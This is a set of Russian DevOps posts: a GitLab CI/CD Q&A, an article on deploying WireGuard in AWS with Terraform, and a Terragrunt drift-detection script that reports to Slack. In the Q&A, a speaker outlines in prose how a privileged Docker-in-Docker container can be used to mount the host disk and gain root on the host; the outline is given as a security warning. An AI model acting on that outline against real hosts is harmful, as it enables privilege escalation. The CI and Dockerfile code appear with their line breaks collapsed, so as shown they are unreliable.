С Kubernetes всё понятно. Мне даже хотелось убрать раннеры из Kubernetes и где-то отжать два хоста, которые использовать как build-серверы, чтобы совсем всё отдельно было. Всякие деплои, понятно, это очень легковесная задача. Запушить ямлик в Kubernetes никаких ресурсов не требует. Ну а если у нас SSH или shell-раннер, то тогда сама ситуация диктует, где их размещать. А если вопрос про бинарь GitLab Runner, то он очень мало ресурсов потребляет, его можно где угодно расположить. Тут больше зависит от требований сетевой доступности.


Когда лучше использовать подход Docker-in-Docker? Какие еще есть инфраструктурные идиомы, связанные с GitLab?


Александр Швалов: Скажу очевидную вещь: использовать Docker-in-Docker стоит, когда у вас сам раннер запущен в Docker. Ну а если у вас нужно запускать какие-то команды в Docker как это задумывалось вообще: если раннер запущен в Docker, то вы можете просто в Docker-in-Docker брать другой Docker-образ (Python, например, и в нём выполнять какие-то действия из кода).


Тимофей Ларкин: Я буду чуть более категоричен. Docker-in-Docker стоит использовать почти никогда. Бывают случаи, когда мне надо собрать кастомный образ kaniko, но когда я пытаюсь собрать его через kaniko, то всё уходит в бесконечную рекурсию и падает (есть такие интересные особенности). Тогда приходится использовать Docker-in-Docker. Кроме того, Docker-in-Docker можно использовать на какой-нибудь виртуалке, которой мы сделали хорошую изоляцию ото всего, чтобы там вообще нельзя было дотянуться ни до инфраструктуры, ни до ещё чего-то, чтобы там можно было только Docker-образы собирать.


В остальных ситуациях Docker-in-Docker это огромная зияющая дыра в безопасности. Очень легко использовать: у тебя есть root-права, у тебя есть привилегии, ты можешь монтировать хостовую файловую систему. Накатал Dockerfile, в котором первым шагом устанавливаешь SSH-демон, прокидываешь туннель туда куда надо, потом заходишь на эту машину и с root-правами монтируешь на эту машину dev/sda1 и всё, у тебя доступ к хосту, ты делаешь что хочешь.


Александр Швалов: Лучше посмотреть в сторону новомодных Podman, Buildah и kaniko. Совсем недавно были новости, что Kubernetes хочет отказаться от Docker все схватились за голову, но это в принципе ожидаемо. И сам Docker (мы с этого начали) уже выкатил rootless mode. Поэтому всеми силами стоит уходить от выполнения от root.


Как можно бороться с тем, что когда происходит сборка артефакта в Docker, очень быстро забивается свободное место на диске (ну кроме docker prune -a)?


Александр Швалов: Только одно решение выделить больше диска, чтобы хватало этого запаса на тот период, когда у вас срабатывает по расписанию сборка мусора. Либо использовать одноразовые раннеры где-то в облаках.


Тимофей Ларкин: Регулярно подчищать за собой: docker prune -a. Совершенно точно плохая практика использовать хостовый Docker-демон для этих сборок. Потому что доступ к хостовому демону это огромная дыра в безопасности, мы можем делать всё что угодно на хосте от имени рута. Ну и плюс, если мы для сборки используем хостовый Docker-демон, то он моментально забивается всяким мусором.


Допустим, даже не используя никакой хостовый Docker-демон, даже имея политику подчистки Docker-образов в GitLab registry, когда мы только стартовали, у нас был раздел под GitLab на 250 Гб. Потом мы стали упираться, сделали отдельный раздел под GitLab на 250 Гб, а под GitLab registry ещё один на 250 Гб. У нас GitLab Omnibus подключал два persistent volume одновременно. Потом раздел под registry разросся до 500 Гб, сейчас он, кажется, 750 Гб и надо узнать у бывших коллег, что у них там происходит хватает места или надо ещё что-то придумывать. И это при том, что есть политика удаления всех, кроме последних пяти тегов какого-то образа. И это без всяких артефактов сборок, это просто конечные образы, которые дальше запускаются на каких-то окружениях.


Как организовать мирроринг стороннего репозитория (например, из GitHub) в GitLab средствами самого GitLab? То есть чтобы автоматически в GitLab подтягивались все изменения, обновления из стороннего репозитория, новые теги и т. д. Без необходимости периодически делать pull руками, без использования скриптов или сторонних решений для автоматизации этого процесса. Если нельзя обойтись без сторонних решений, то какое из них вы бы порекомендовали?


Александр Швалов: Сразу скажу, что полная поддержка этой функциональности есть в платной версии Starter. Для ускорения автоматики можно дополнительно использовать вебхуки в GitHub, чтобы он при каждом чихе тыкал палочкой в GitLab и GitLab в ответ на это делал pull из GitHub. Если надо обойтись исключительно бесплатной версией, то мне не приходилось этим заниматься, скорее всего, придётся использовать дополнительные сторонние скрипты. Сходу можно порекомендовать настроить для этого CI/CD пайплайн: грубо говоря, можно делать операции с гитом на уровне раннера и запускать это всё по расписанию. Но это, конечно, костыль.


Тимофей Ларкин: Я бы не брал этот подход. Это очень способствует плохим практикам. Чаще всего проблемы возникали, когда мы работали с внешними подрядчиками, которые упорно не хотели хранить свой код в нашем GitLab, а хранили его в своём. Поскольку это большая корпорация, собственные TLS-сертификаты самоподписные и так далее, то подрядчик не знает, как их себе в системное хранилище добавить, или ещё какая-то беда в результате всегда было довольно тяжело получить от подрядчика не просто артефакт, а код. Потому что а зачем? а мы попытаемся помиррорить! не работает ладно, тогда будем на своём GitLab работать. Возможно, есть ситуации, когда это важная и нужная функциональность, но частенько это абьюзится.


Какой аппаратный ресурс наиболее востребован для инстанса GitLab в docker-контейнере: процессор, оперативная память или хранилище? А для раннеров?


В случае, если есть только один мощный сервер с мощным процессором, большим объемом оперативной памяти и большим хранилищем и еще один-два сервера меньшей мощности с процессорами послабее, как наиболее оптимально задействовать первый сервер для развертывания GitLab-инфраструктуры
(то есть самого GitLab и раннеров) и что лучше перенести на сервера меньшей мощности? Как целесообразно в этом случае размещать раннеры: в Docker-контейнерах на хосте или в виртуальных машинах (например, kvm)?
Ориентировочная нагрузка на инстанс GitLab: 100 пользователей, 200 проектов.


Александр Швалов: Как адепт классических решений, я бы предложил KVM как более проверенное решение. Docker-контейнеры для меня это до сих пор что-то эфемерное: сейчас запустил, через 15 минут можно грохнуть. GitLab же должен работать и работать, там вы храните свою конфигурацию. Зачем его поднимать, гасить?


Требования по железу есть у самого GitLab. Для 100 пользователей нужно 2 ядра (хватит до 500 юзеров) и 4 Гб памяти (до 100 юзеров). При расчёте объема диска лучше исходить из простой математики: объём всех репозиториев, которые есть, умножить на 2. И не забыть продумать, как вы будете добавлять к серверу новые диски, если репозитории разрастутся.


Железные требования для раннеров предсказать сложно. Зависит от проектов, что вы там собираете: html-страницы или java-код. Надо взять изначальные требования к сборке и от них отталкиваться. Возможно, стоит взять что-то виртуальное, докинуть ресурсов и настраивать по необходимости.


Тимофей Ларкин: Увидев этот вопрос, я специально попросил у коллег графики по потреблению GitLab. Там всё не так весело. Их инстанс GitLab так-то на 500 пользователей, но реально что-то разрабатывают не более 200 человек. Там безупречно ровная полка ну как, колеблется от 1,5 до 2 ядер на протяжении нескольких дней, возможно, по ночам чутка потише. Полка по памяти в районе 50 Гб тоже довольно стабильно.


То есть возвращаясь к рекомендациям: по ядрам, наверное, они реальны, а по памяти занижены. 4 Гб хватит только для запуска, а для активной работы понадобится гораздо больше. И это даже вместе с тем, что базы данных PostgreSQL, которые под этим GitLab, они сейчас живут на отдельных хостах. Раньше, по моим наблюдениям, процессор загружался гораздо сильнее.


Независимо от способа деплоя я бы запустил GitLab на жирном хосте: нам важна надёжность GitLab, многие его компоненты достаточно прожорливы. На других хостах поменьше, наверное, можно было бы гонять Docker executor.


Интересует деплой не в Kubernetes. Допустим, по SSH или же docker\docker-compose.


Александр Швалов: Да, это популярный запрос. Мы планируем добавить это в наш курс (на момент публикации статьи уже добавили прим. редактора) деплой в простой Docker. Всё делается очень просто: раннер с предварительно настроенными ключами заходит по SSH на хост, делает там docker stop, docker rm (удаляет старый контейнер) и docker run с прямым указанием на конкретный образ, который мы только что собрали. В результате поднимается новый образ.


Голый Docker это не оркестратор, и репликации там нет, поэтому при таком CI/CD у вас будет перерыв в обслуживании. Если у вас нет образа контейнера, в моём примере лучше его запустить самостоятельно.


Тимофей Ларкин: Если интересует совсем голый SSH, то пишите скрипты и запускайте. Можем, наверное, минимальный пример в курс добавить. Но надо понимать, что Kubernetes уйму проблем с оркестрацией решает, ну и Docker тоже достаточно можно решает (перезапуски, healthcheck, что угодно).


Если я был вынужден описывать голый SSH, наверное, я бы запускал что-нибудь через systemd. Да, можно Ansible использовать, но опять же, через тот же systemd.


Александр Швалов:Если ещё нет образа контейнера на хосте (я вспомнил, как это у меня делалось), там тоже через Bash проверяется, есть что-нибудь или нет. Если нет, то делаем docker run без всего; docker run, и конкретный образ из registry, который только что создан. Если что-то есть, то сначала останавливаем это всё, и после этого docker run.


Можно ли контейнер с раннером создавать динамически (только на момент сборки)?


Александр Швалов: Да. Очень популярно брать дешёвые инстансы AWS и запускать раннеры там, а потом их глушить по прошествии какого-то времени. Пошла активная сборка, пошёл деплой, насоздавались раннеры и через какое-то время, когда нагрузки нет, они сами по себе схлопнутся. Это всё реализуется через Docker compose.


Тимофей Ларкин: Мы говорим про GitLab runner, который управляющий бинарник, или мы про сами пайплайны? Ну да, пайплайны, наверное. А сам управляющий бинарь? Тогда что будет триггерить создание этого самого бинаря? Опять возникают проблемы курицы и яйца.


Александр Швалов: В Kubernetes, насколько я знаю, можно через какие-то метрики, когда нагрузка есть, он создаёт Так же для OpenShift я нашёл, есть оператор, который управляет раннерами. Как-то можно автоматизировать, люди движутся в этом направлении. Но, как правило, на простых проектах, если что-то нужно, мы берём и виртуалке добавляем ресурсов, а когда проходит час пик убираем ресурсы.


Тимофей Ларкин: Автоскейлинг нод можно делать. Потому что так-то Docker-контейнеры с пайплайнами создаются автоматически только на время существования пайплайна по дефолту. Управляющий бинарь должен существовать по дефолту. Иначе как кто-то узнает, что надо создавать управляющий бинарь?


Как можно настроить шаринг раннера только между определённым количеством проектов?


Александр Швалов: Для этого в GitLab есть группы, создаёте группу, привязываете раннер и в эту группу добавляете проекты. Доступ юзеров, соответственно, распределяется. Всё просто!


Тимофей Ларкин: Ссылка на issue, где описывается, как это делать. Необязательно даже, чтобы это был раннер на группу. Можно делать раннер на конкретный список репозиториев. Первый создаётся через регистрационный токен на какой-то конкретный репозиторий, но потом, через UI GitLab можно добавить его ещё нескольким. Можно ещё тегами всё это разрулить.


Прошу рассказать, если есть опыт, о практике организации доставки и развертывания сервисов в закрытые окружения заказчика, когда нет возможности прорубить доступ до внутренних репозиториях заказчика. Как при этом упростить доставку артефактов и по максимуму автоматизировать развертывание в условиях, когда Git находится далеко снаружи runtime-окружения?


Александр Швалов: У меня, к сожалению, не было такого опыта. Я знаю, что в серьезных организациях такое сплошь и рядом практикуется. Я могу лишь придумать такой способ: взять артефакт, сделать архив с релизной веткой репозитория, принести на флешке, там есть внутренний GitLab, сделать push в нужную ветку и сделать CI/CD как обычно, только в локальной сети.


Тимофей Ларкин: Вообще, я к таким историям скептически отношусь. Когда заказчик говорит, что у него невероятно секретно, гостайна (номера карт лояльности клиентов) и всё такое, то надо посмеяться и понять, что он врёт, и не работать с такими заказчиками. Но если работать очень надо (в конце концов, нам всем надо счета оплачивать и еду покупать), то есть вариант разместить раннер (управляющий бинарь; и пайплайны тоже будут где-то рядом запускаться) именно внутри контура заказчика.


Раннер умеет работать за NAT, умеет постучаться во внешний GitLab. Главное, чтобы сам GitLab не был за NAT, чтобы была нормальная доступность до GitLab. Поэтому да, раннер может изнутри контура заказчика сходить в ваш GitLab, стянуть код и делать сборку уже внутри инфраструктуры заказчика. И тогда чуть легче: артефакт сборки кладётся во внутренний репозиторий заказчика и оттуда уже деплоится всё хорошо. Не исключено, что там будет много сложностей. Наверняка, у заказчика свои самоподписные TLS-сертификаты, у него интернет недоступен на большинстве хостов (надо будет согласовать proxy, которая позволит раннеру ходить до вашего GitLab) и так далее.


Александр Швалов: Если proxy, NAT недопустимы, то в таком варианте остаётся паковать всё на своей стороне, собирать в инсталлятор, приходить к заказчику и обновлять приложение инсталлятором. Это уже другая задача, к CI/CD она вряд ли относится. Хотя можно настроить CI/CD, чтобы на выходе получался инсталлятор.


Тимофей Ларкин: Ну да, или держать все эти артефакты у себя в инфраструктуре, заказчику выдать публичный или приватный ключ, и просто ему на почту писать: Мы сделали новый этап работы, выложили новую версию, приходите забирайте.


А вообще я считаю, что такая ситуация возможна только в случае, если заказчик заплатил очень большие деньги или менеджер провалил переговоры. Потому что как в таком случае работать: постоянно ездить к заказчику? В принципе, если разработчики готовы ездить на территорию заказчика с флешками, это тоже вариант. Но для меня это фактически deal breaker, если заказчик предложит подобное.


Может нам как-то помочь CI/CD GitLab, если поставщик сам присылает собранные бинари в zip-архиве, и эти бинари необходимо распределить на нужное количество нод? Где это будет работать?


Александр Швалов:Речь о том, что есть в качестве исходного кода бинари в zip-архиве, и GitLab CI будет их каким-то образом распределять? В принципе, такое возможно. Почему нет? Можно это как-то сканировать, тестировать и деплоить, просто по SSH закидывать. В принципе, можно обойтись и без GitLab, одними скриптами.


Тимофей Ларкин: Можно какую-нибудь регулярную jobу запилить, которая, допустим, смотрит на папку, проверяет сумму у zip-архива, если обновилась, распаковывает, раскладывает его на внутренние nexus (приватный docker registry прим. редактора) в виде артефактов. Если надо, деплоит. Да, я думаю, GitLab может помочь в плане автоматизации этого процесса.


Узнать больше о курсе по CI/CD

Подробнее..

Recovery mode DevOps автоматизация инфраструктуры на примере Terraform, docker, bash, prometheus exporters, Gitlab и WireGuard

16.03.2021 12:09:05 | Автор: admin

Всем привет.

Есть такие люди, которые работают с облачной инфраструктурой и не используют автоматизацию, потому что это долго, нужно вникать, а им надо фичи пилить. Накликали что-то там в UI, подключились по ssh, поставили всякого с помощью apt и т.д. и конфигурационные файлы ещё вручную поменяли. Документации конечно же написать времени не хватило или в ней много разных хитрых шагов и повторить настройку этой инфраструктуры в точности уже нельзя или очень сложно, а сервисы крутятся в проде. А потом человек забыл что и как делал в точности или вообще уволился.

Хочу показать на небольшом примере, что автоматизировать инфраструктуру, например в AWS, может быть достаточно просто и приятно, а получившийся результат достаточно прозрачен и сам по себе является документацией, т.к. это инфраструктура как код. Если конечно есть знания Terraform или желание его немного изучить.

К слову, крайне рекомендую для автоматизации много чего, но в особенности облачных провайдеров вроде AWS / GCP / Azure и т.д. использовать именно Terraform, т.к. это достаточно зрелый инструмент, у него большое сообщество и кроме всего прочего он поддерживает автоматизацию далеко не только каких-то облачных провайдеров, но и практически всего у чего есть API. К тому же инструмент open source и при желании можно реализовать что угодно самостоятельно. Для таких облаков, как AWS не рекомендую пытаться реализовывать автоматизации с помощью чистого питона и запросов к AWS API с помощью cli или Cloudformation.

Также у Terraform есть удобная возможность организовывать код в блоки называемые модулями и передавая в них только параметры легко создавать необходимое с другими настройками.

Для тех, кто совсем не знаком с Terraform упомяну, что если в одну папку положить несколько файлов с расширением .tf и запустить Terraform в этой папке, то Terraform прочитает и использует код из всех файлов, а не только одного. Это в том числе позволяет разбивать один большой main.tf файл с кучей ресурсов на какие-то удобные вам логические блоки.

Итак, например, встала задача развернуть vpn серверы WireGuard на базе Ubuntu 20.04 в нескольких регионах + немного мониторинга. Поддержка WireGuard сейчас есть в ядре linux, но дополнительные инструменты, которые можно поставить отдельно облегчают жизнь, поэтому поставим и их.

Весь код модуля выложен здесь.

Также этот модуль опубликован в реестре модулей здесь.

Не буду разжёвывать код построчно, попробую описать архитектуру в целом, а код попробуйте разобрать самостоятельно. Если возникнут неразрешимые проблемы или вопросы попробую ответить.

Итак, создаются необходимые для работы iam политики, роль и т.п.

Используем elastic ip, отдельный для сервера в каждом регионе, которые нужно прописать в dns для того, чтобы пользователь мог использовать единое имя для подключения к vpn серверу. Планировал использовать geo dns route53, чтобы при местоположении пользователя в оперделённом регионе ему бы отдавался ip vpn сервера в его регионе, но т.к. на этом проекте route53 пока не используется, то создание записей в нём пока не автоматизировал.

Создаются security groups с правилами, которые позволяют подключиться к vpn серверу извне по udp (Wireguard работает только по udp) + ssh + несколько портов для prometheus exporter'ов.

Создаётся собственно сервер / ec2 машина, но не просто отдельно стоящая, а входящая в auto scaling group, в данном примере в единственном варианте. Это сделано для того, чтобы если с сервером что-то не так, то Амазон автоматом пересоздаст его. Self healing.

Позже немного допилив конфигурацию и добавив в неё load balancer можно добиться того, для чего auto scaling groups отлично подходят: при повышенной нагрузке на какой-то из ресурсов сервера, например на cpu, можно реализовать автоматическое создание дополнительных vpn серверов, а соответственно при падении нагрузки уменьшать их количество.

Этот модуль можно использовать просто с Terraform, но лучше использовать Terragrunt, который позволяет делать некоторые удобные вещи и местами реализовывать концепцию Keep your Terraform code DRY, например параметризуя некоторые вещи в backend блоке, чего сам Terraform пока не умеет. Terraform хранит состояние инфраструктуры в специальном файле и принято хранить его не локально, а, чаще всего, в S3 бакете. Также, если вы работаете с этим кодом не в одиночку, то принято хранить локи в Dynamodb, чтобы случайно не применить какое-то изменение инфраструктуры несогласованно и не поломать всё.

Именно пример такого использования я привожу в примере здесь.

С помощью файла terragrunt.hcl в корне репозитория (https://github.com/vainkop/terraform-aws-wireguard/blob/master/example/terragrunt.hcl) я могу, например, задать место для хранения state для всех поддиректорий, а потом ссылаться на этот файл в других terragrunt.hcl с помощью функции find_in_parent_folders() https://github.com/vainkop/terraform-aws-wireguard/blob/master/example/us-east-1/terragrunt.hcl#L2

При этом key, т.е. файл, где будет храниться состояние инфраструктуры в конкретном регионе будет храниться отдельно, что достигается с помощью функции path_relative_to_include() https://github.com/vainkop/terraform-aws-wireguard/blob/master/example/terragrunt.hcl#L11

Также я реализовал хранение/чтение переменных в yaml формате, что мне кажется более удобочитаемым с помощью функции yamldecode(file(...)) https://github.com/vainkop/terraform-aws-wireguard/blob/master/example/eu-central-1/terragrunt.hcl#L9

Вот так выглядит пример передаваемых в модуль уникальных параметров (конечно YOUR_... нужно заменить на реальные значения): https://github.com/vainkop/terraform-aws-wireguard/blob/master/example/us-east-1/values.yaml

Иногда удобно реализовать использование имени папки в качестве параметра, например в приведённом примере это мог бы быть параметр region и реализуется это с помощью, например, функций basename(get_terragrunt_dir()) и задавать его в values.yaml не пришлось бы, но по определённым причинам решил этого не делать.

В итоге в вашем приватном репозитории код из которого применяете либо вы, либо какой-то ci cd runner может лежать только содержимое похожее на мою папку example, т.е. только terragrunt.hcl и yaml файлы с параметрами, а модуль можно использовать как публичный и хорошо поддерживаемый, так и написать свой. Это позволяет отдать "пользователям" только задание параметров в yaml и в принципе ничего не знать про Terraform код.

Отдельно советую: по-возможности, не нужно изобретать велосипед и на каждое действие пытаться писать свой Terraform код или тем более модуль. Для большинства вещей модули уже написаны и в их разработке и поддержке участвует множество грамотных людей, поэтому берите и пользуйтесь.

Для того, чтобы изменения в коде open source модулей, как впрочем и в частных, не повлияли на работу вашей автоматизации принято фиксировать версии используемых модулей, например в моём коде это сделано с помощью source = "github.com/vainkop/terraform-aws-wireguard?ref=v1.2.0" здесь https://github.com/vainkop/terraform-aws-wireguard/blob/master/example/eu-central-1/terragrunt.hcl#L6

Ну а если вы всё же не хотите зависеть от open source и чувствуете в себе силы поддерживать и развивать свой модуль самостоятельно, всегда можно форкнуть общественный и сделать всё, что хочется.

Например я реализовал cloud-init скрипт, который осуществляет предварительную установку и настройку софта на свежеразвёрнутый сервер и делает это каждый раз, когда сервер пересоздаётся в auto scaling group, что очень удобно: https://github.com/vainkop/terraform-aws-wireguard/blob/master/templates/user-data.txt

Ближе к концу скрипта устанавливается 2 prometheus exporter'а, которые позволяют как мониторить метрики самой ec2 машины, так и базовые метрики самого WireGuard, на основании которых можно построить удобные Dashboards и соответственно определённые alerts и т.п.

В частности я реализовал это для того, чтобы видеть к какому из vpn серверов подключён клиент, чтобы, например, была возможность подключиться к нему именно из его региона, т.к. связности между этими vpn серверами нет. Т.к. клиентские публичные ключи зашиты в каждый из серверов и серверные ключи одинаковые, то клиент будет автоматически переключаться между ними путешествуя между регионами на основании geo ip route53.

Также привожу пример кода из .gitlab-ci.yml и Dockerfile где можно увидеть какие команды используются для применения всего этого хозяйства с помощью Gitlab runner'а и какой docker контейнер можно использовать для этого runner'а.

$ cat .gitlab-ci.ymlstages:  - build  - plan  - apply  - destroyvariables:  GIT_DEPTH: 1.aws_configure: &aws_configure  before_script:    - aws configure set aws_access_key_id $AWS_ACCESS_KEY_ID    - aws configure set aws_secret_access_key $AWS_SECRET_ACCESS_KEY    - aws configure set default.region $AWS_DEFAULT_REGIONbuild-terraform:  image: docker:19.03.15  services:    - docker:19.03.15-dind  stage: build  variables:    DOCKER_TLS_CERTDIR: ""    DOCKER_HOST: tcp://docker:2375    DOCKER_DRIVER: overlay2    TERRAFORM_VERSION: "0.13.6"    TERRAGRUNT_VERSION: "v0.28.9"  before_script:    - printenv    - docker info    - echo $CI_REGISTRY_PASSWORD | docker login $CI_REGISTRY -u $CI_REGISTRY_USER --password-stdin  script:    - cd docker    - docker build --build-arg TERRAFORM_VERSION=$TERRAFORM_VERSION --build-arg TERRAGRUNT_VERSION=$TERRAGRUNT_VERSION -t $CI_REGISTRY_IMAGE:$TERRAFORM_VERSION .    - docker push $CI_REGISTRY_IMAGE:$TERRAFORM_VERSION  rules:    - changes:        - docker/*plan-us-east-1:  image:    name: registry.gitlab.com/vainkop/terraform:0.13.6    entrypoint: [""]  stage: plan  <<: *aws_configure  script:    - cd wireguard/us-east-1    - terragrunt run-all plan --terragrunt-non-interactive -out $CI_PROJECT_DIR/wireguard/us-east-1/tfplan-$CI_COMMIT_SHA  artifacts:    paths:    - $CI_PROJECT_DIR/wireguard/us-east-1/tfplan-$CI_COMMIT_SHA    expire_in: 1 month  rules:    - changes:        - wireguard/us-east-1/*      allow_failure: trueplan-eu-central-1:  image:    name: registry.gitlab.com/vainkop/terraform:0.13.6    entrypoint: [""]  stage: plan  <<: *aws_configure  script:    - cd wireguard/eu-central-1    - terragrunt run-all plan --terragrunt-non-interactive -out $CI_PROJECT_DIR/wireguard/eu-central-1/tfplan-$CI_COMMIT_SHA  artifacts:    paths:    - $CI_PROJECT_DIR/wireguard/eu-central-1/tfplan-$CI_COMMIT_SHA    expire_in: 1 month  rules:    - changes:        - wireguard/eu-central-1/*      allow_failure: trueapply-us-east-1:  image:    name: registry.gitlab.com/vainkop/terraform:0.13.6    entrypoint: [""]  stage: apply  <<: *aws_configure  script:    - cd wireguard/us-east-1    - terragrunt run-all apply --terragrunt-non-interactive -auto-approve $CI_PROJECT_DIR/wireguard/us-east-1/tfplan-$CI_COMMIT_SHA  rules:    - changes:        - wireguard/us-east-1/*      when: manual      allow_failure: trueapply-eu-central-1:  image:    name: registry.gitlab.com/vainkop/terraform:0.13.6    entrypoint: [""]  stage: apply  <<: *aws_configure  script:    - cd wireguard/eu-central-1    - terragrunt run-all apply --terragrunt-non-interactive -auto-approve $CI_PROJECT_DIR/wireguard/eu-central-1/tfplan-$CI_COMMIT_SHA  rules:    - changes:        - wireguard/eu-central-1/*      when: manual      allow_failure: truedestroy-us-east-1:  image:    name: registry.gitlab.com/vainkop/terraform:0.13.6    entrypoint: [""]  stage: destroy  <<: *aws_configure  script:    - cd wireguard/us-east-1    - terragrunt run-all destroy --terragrunt-non-interactive -auto-approve  rules:    - changes:        - wireguard/us-east-1/*      when: manual      allow_failure: truedestroy-eu-central-1:  image:    name: registry.gitlab.com/vainkop/terraform:0.13.6    entrypoint: [""]  stage: destroy  <<: *aws_configure  script:    - cd wireguard/eu-central-1    - terragrunt run-all destroy --terragrunt-non-interactive -auto-approve  rules:    - changes:        - wireguard/eu-central-1/*      when: manual      allow_failure: true
$ cat docker/DockerfileFROM ubuntu:20.04USER rootARG DEBIAN_FRONTEND=noninteractiveARG TERRAFORM_VERSIONENV TERRAFORM_VERSION=$TERRAFORM_VERSIONARG TERRAGRUNT_VERSIONENV TERRAGRUNT_VERSION=$TERRAGRUNT_VERSIONRUN set -x && \    apt-get update && \    apt-get install -y \    apt-transport-https \    ca-certificates \    build-essential \    software-properties-common \    unzip \    net-tools \    wget \    curl \    python3 \    python3-dev \    python3-pip \    jq \    gettext-base \    git && \    rm -rf /var/lib/apt/lists/*RUN set -x && \    apt-key adv --keyserver keyserver.ubuntu.com --recv-keys CC86BB64 && \    add-apt-repository ppa:rmescandon/yq && \    apt update && \    apt install -y yq && \    rm -rf /var/lib/apt/lists/*RUN set -x && \    pip3 install -U --no-cache-dir setuptools shyamlRUN set -x && \    ln -sf /usr/bin/python3 /usr/bin/python && ln -sf /usr/bin/pip3 /usr/bin/pipRUN set -x && \    curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip" && \    unzip awscliv2.zip && \    rm awscliv2.zip && \    ./aws/installRUN set -x && \    cd /tmp && \    curl -O https://releases.hashicorp.com/terraform/${TERRAFORM_VERSION}/terraform_${TERRAFORM_VERSION}_linux_amd64.zip && \    unzip terraform_${TERRAFORM_VERSION}_linux_amd64.zip -d /usr/local/bin && \    chmod +x /usr/local/bin/terraform && \    rm /tmp/terraform_${TERRAFORM_VERSION}_linux_amd64.zipRUN set -x && \    wget "https://github.com/gruntwork-io/terragrunt/releases/download/${TERRAGRUNT_VERSION}/terragrunt_linux_amd64" && \    mv terragrunt_linux_amd64 /usr/local/bin/terragrunt && \    chmod +x /usr/local/bin/terragruntRUN set -x && \    curl --version && \    envsubst --version && \    python --version && \    pip --version && \    shyaml --version && \    jq -V && \    yq -V && \    aws --version && \    terraform --version && \    terragrunt --versionENTRYPOINT ["/bin/bash", "-c"]

За код не ругайте, написал за несколько часов и решил поделиться.

Если есть конкретные замечания/предложения, то готов их выслушать либо в комментариях, либо в личке, например, в телеграм: @vainkop

Прошу также учитывать, что это моя первая публикация на Хабре. Приглашение приму с удовольствием.

Подробнее..

GitOps Определение дрейфа вашей инфраструктуры Terraform Terragrunt

18.03.2021 14:16:42 | Автор: admin

Всем привет.

Дисклеймер: сказу скажу, что пишу статью по-ходу дела, "код" в ней рабочий, но не претендует на какие-либо best practices, поэтому не придирайтесь :) Цель статьи: донести до интересующейся русскоязычной части населения общие принципы, возможно разбудить интерес поразбираться самостоятельно и сделать что-то гораздо лучше и интереснее. Итак поехали!

Допустим Вы работаете с Terraform / Terragrunt (второе здесь непринципиально, но лучше изучайте, если ещё не используете) и автоматизируете инфраструктуру, например, в AWS (но совершенно необязательно AWS). Инфраструктура в коде репозитория, разворачивается из него же, казалось бы вот оно GitOps счастье :)

Всё идёт хорошо, пока какой-то пользователь не поменял что-то руками через консоль / UI и конечно забыл об этом кому-либо сказать. А то и сделал что-то нехорошее намеренно. И вот он ваш дрейф: код и инфраструктура больше не совпадают! :(

Для того, чтобы как минимум своевременно узнавать о подобном необходимо немного доработать автоматизацию.

Как обычно, есть много различных путей добиться желаемого. Например, недавно на горизонте появилась неплохо развивающаяся утилита https://github.com/cloudskiff/driftctl , которая может даже больше, чем предложу Вашему вниманию чуть ниже я, но на момент написания статьи driftctl как минимум не поддерживает работу с aws provider v2, а также не умеет в multi region, что делает его использование невозможным в большинстве серьёзных проектов. Но ребята обещают доделать её через месяц-два.

А пока что опишу и приведу пример небольшого количества кода для следующей очень простой схемы:

1) создаём pipeline, который или по расписанию (в Gitlab можно воспользоваться Pipeline schedules) или по кругу будет делать terraform plan

2) при нахождении дрейфа (diff в плане) pipeline будет, например, отправлять сообщение с его содержанием в Slack.

Аналогично можно реализовать и, например, создание issue в любом из используемых вами репозиториев, где поддерживается их создание через api и любое другое действие, например apply, который вернёт инфраструктуру к её эталонному состоянию. Или всё-таки импортировать изменение в state, если оно действительно необходимо.

Допустим есть репозиторий содержащий код для вашей live инфраструктуры, т.е. код, которому она должна соответствовать и откуда она и была развёрнута с такой структурой:

account_1/ eu-central-1  dev   eks    terragrunt.hcl    values.yaml   s3-bucket       terragrunt.hcl       values.yaml  prod   eks    terragrunt.hcl    values.yaml   s3-bucket       terragrunt.hcl       values.yaml  staging      eks       terragrunt.hcl       values.yaml      s3-bucket          terragrunt.hcl          values.yaml us-east-1  dev   eks    terragrunt.hcl    values.yaml   s3-bucket       terragrunt.hcl       values.yaml  prod   eks    terragrunt.hcl    values.yaml   s3-bucket       terragrunt.hcl       values.yaml  staging      eks       terragrunt.hcl       values.yaml      s3-bucket          terragrunt.hcl          values.yaml terragrunt.hcl

В приведённом выше примере в папке account_1 находятся 2 папки: us-east-1 и eu-central-1 , по имени регионов AWS. Иногда удобно организовать структуру именно так и тогда имена папок можно использовать как значение для передачи в модуль с помощью Terragrunt функции/й, например, таких "${basename(get_terragrunt_dir())}"

Аналогичная логика с папками имеющими в названии окружение и далее идут названия самих компонентов, которых в этом примере 2: eks и s3-bucket

Если смотреть от корня репозитория, то путь до каждого из файлов внутри папки компонента

<account_name>/<region>/<environment>/<component>/*

Т.е. "в общих чертах" */*/*/<component>/*

Выберем, например, компонент s3-bucket (на самом деле конечно можно реализовать это для всего сразу, но бывают нюансы и здесь интересно показать принцип).

Не забудьте подключить Incoming WebHooks в Slack и записать полученный Webhook URL. Делается это так: https://api.slack.com/messaging/webhooks

Тогда вот такой скрипт может выполнять требуемое планирование в pipeline и отправку в Slack diff'а при его нахождении:

#!/bin/bashROOT_DIR=$(pwd)plan () {  echo -e "$(date +'%H-%M-%S %d-%m-%Y') $F"  CURRENT_DIR=$(pwd)  PLAN=$CURRENT_DIR/plan.tfplan  terragrunt run-all plan --terragrunt-non-interactive -lock=false -detailed-exitcode -out=$PLAN 2>/dev/null || ec=$?    case $ec in    0) echo "No Changes Found"; exit 0;;    1) printf '%s\n' "Command exited with non-zero"; exit 1;;    2) echo "Changes Found! Reporting!";          MESSAGE=$(terragrunt show -no-color ${PLAN} | sed "s/\"/'/g");    # let's replace the double quotes from the diff with single as double quotes "break" the payload       curl -X POST --data-urlencode "payload={\"channel\": \"#your-slack-channel-here\", \"username\": \"webhookbot\", \"text\": \"DRIFT DETECTED!!!\n ${MESSAGE}\", \"icon_emoji\": \":ghost:\"}" https://hooks.slack.com/services/YOUR/WEBHOOK/URL_HERE;;  esac}N="$(($(grep -c ^processor /proc/cpuinfo)*4))"    # any number suitable for your situation goes herefor F in */*/*/s3-bucket/*; do  ((i=i%N)); ((i++==0)) && wait    # let's run only N jobs in parallel to speed up the process  cd $ROOT_DIR  cd $F  plan &    # send the job to background to start the new onedone

Меняем что-нибудь руками, запускаем pipeline или ждём его выполнения и радуемся :)

На этом на сегодня всё!

